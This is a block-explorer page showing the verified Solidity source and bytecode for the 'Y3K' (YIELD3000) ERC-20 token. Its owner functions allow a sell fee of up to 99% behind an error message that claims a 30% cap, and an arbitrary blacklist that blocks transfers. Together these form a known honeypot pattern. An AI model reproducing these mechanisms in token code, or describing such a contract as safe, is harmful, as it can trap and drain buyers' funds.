5b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f613e25601383612ce3565b9150613e3082613df1565b602082019050919050565b5f6020820190508181035f830152613e5281613e19565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f613eb3603683612ce3565b9150613ebe82613e59565b604082019050919050565b5f6020820190508181035f830152613ee081613ea7565b9050919050565b5f613ef182612c68565b9150613efc83612c68565b9250828203905081811115613f1457613f13613371565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613f4c81612da2565b82525050565b5f613f5d8383613f43565b60208301905092915050565b5f602082019050919050565b5f613f7f82613f1a565b613f898185613f24565b9350613f9483613f34565b805f5b83811015613fc4578151613fab8882613f52565b9750613fb683613f69565b925050600181019050613f97565b5085935050505092915050565b5f60a082019050613fe45f830188612e4e565b613ff16020830187613732565b81810360408301526140038186613f75565b90506140126060830185613081565b61401f6080830184612e4e565b9695505050505050565b7f50657263656e74616765206d757374206265206265747765656e203020616e645f8201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b5f614083602483612ce3565b915061408e82614029565b604082019050919050565b5f6020820190508181035f8301526140b081614077565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f614111602683612ce3565b915061411c826140b7565b604082019050919050565b5f6020820190508181035f83015261413e81614105565b905091905056fea2646970667358221220af665594b9f7e0a3648f12057e41f82f8405f57e739197b39240dcfcde964e2464736f6c63430008140033
Verified Source Code Full Match
Compiler: v0.8.20+commit.a1b79de6
EVM: shanghai
Optimization: No
Y3K.sol 748 lines
/**
//SPDX-License-Identifier: MIT
π°π
π΄ π
πΈπ΄π»π³ π
π΄π°π³π
?
Website: https://www.y3k.live/
β β β β β β β β β β β β β β
**/
pragma solidity = 0.8.20;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function per(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= 100, "Percentage must be between 0 and 100");
return a * b / 100;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract Y3K is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable _uniswapV2Router;
address public uniswapV2Pair;
address private deployerWallet;
address private marketingWallet;
address private constant deadAddress = address(0xdead);
bool private swapping;
string private constant _name = "YIELD3000";
string private constant _symbol = "Y3K";
mapping(address => bool) private bots;
uint256 public initialTotalSupply = 3000000000 * 1e18;
uint256 public maxTransactionAmount = 60000000 * 1e18;
uint256 public maxWallet = 60000000 * 1e18;
uint256 public swapTokensAtAmount = 24000000 * 1e18;
bool public tradingOpen = false;
bool public swapEnabled = false;
uint256 public BuyFee = 20;
uint256 public SellFee = 30;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => uint256) private _holderLastTransferTimestamp;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
constructor(address wallet) ERC20(_name, _symbol) {
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
marketingWallet = payable(wallet);
excludeFromMaxTransaction(address(wallet), true);
deployerWallet = payable(_msgSender());
excludeFromFees(owner(), true);
excludeFromFees(address(wallet), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(msg.sender, initialTotalSupply);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"Trading is already open");
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
_approve(address(this), address(_uniswapV2Router), initialTotalSupply);
_uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)).per(80),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint256 i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
require(!bots[from] && !bots[to]);
if (!tradingOpen) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > 0;
if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack(amount);
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(SellFee).div(100);
}
else {
fees = amount.mul(BuyFee).div(100);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
marketingWallet,
block.timestamp
);
}
function removesLimits() external onlyOwner {
uint256 totalSupplyAmount = totalSupply();
maxTransactionAmount = totalSupplyAmount;
maxWallet = totalSupplyAmount;
}
function clearstucksEth() external {
require(address(this).balance > 0, "Token: no ETH to clear");
require(_msgSender() == marketingWallet);
payable(msg.sender).transfer(address(this).balance);
}
function burnsRemainTokens(ERC20 tokenAddress) external {
uint256 remainingTokens = tokenAddress.balanceOf(address(this));
require(remainingTokens > 0, "Token: no tokens to burn");
require(_msgSender() == marketingWallet);
tokenAddress.transfer(deadAddress, remainingTokens);
}
function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
swapTokensAtAmount = _amount * (10 ** 18);
}
function manualwap(uint256 percent) external {
require(_msgSender() == marketingWallet);
uint256 totalSupplyAmount = totalSupply();
uint256 contractBalance = balanceOf(address(this));
uint256 requiredBalance = totalSupplyAmount * percent / 100;
require(contractBalance >= requiredBalance, "Not enough tokens");
swapTokensForEth(requiredBalance);
}
function SetFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
require(_buyFee <= 30 && _sellFee <= 99, "Fees cannot exceed 30%");
BuyFee = _buyFee;
SellFee = _sellFee;
}
function swapBack(uint256 tokens) private {
uint256 contractBalance = balanceOf(address(this));
uint256 tokensToSwap;
if (contractBalance == 0) {
return;
}
else if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
tokensToSwap = contractBalance;
}
else {
uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
tokens -= sellFeeTokens;
if (tokens > swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount;
} else {
tokensToSwap = tokens;
}
}
swapTokensForEth(tokensToSwap);
}
}
Read Contract
BuyFee 0xdd854652 → uint256
SellFee 0xcf9522fd → uint256
_uniswapV2Router 0x583e0568 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
initialTotalSupply 0x311028af → uint256
isExcludedFromFees 0x4fbee193 → bool
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
uniswapV2Pair 0x49bd5a5e → address
Write Contract 19 functions
These functions modify contract state and require a wallet transaction to execute.
SetFee 0x032dc6a2
uint256 _buyFee
uint256 _sellFee
addBots 0xd34628cc
address[] bots_
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
burnsRemainTokens 0xdb1b7182
address tokenAddress
clearstucksEth 0xe0f83b16
No parameters
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
delBots 0x31c2d847
address[] notbot
excludeFromFees 0xc0246668
address account
bool excluded
excludeFromMaxTransaction 0x7571336a
address updAds
bool isEx
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
manualwap 0x500b9aa2
uint256 percent
openTrading 0xc9567bf9
No parameters
removesLimits 0x46073115
No parameters
renounceOwnership 0x715018a6
No parameters
setAutomatedMarketMakerPair 0x9a7a23d6
address pair
bool value
setSwapTokensAtAmount 0xafa4f3b2
uint256 _amount
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
This address has 1 on-chain transactions, but only 1.1% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan β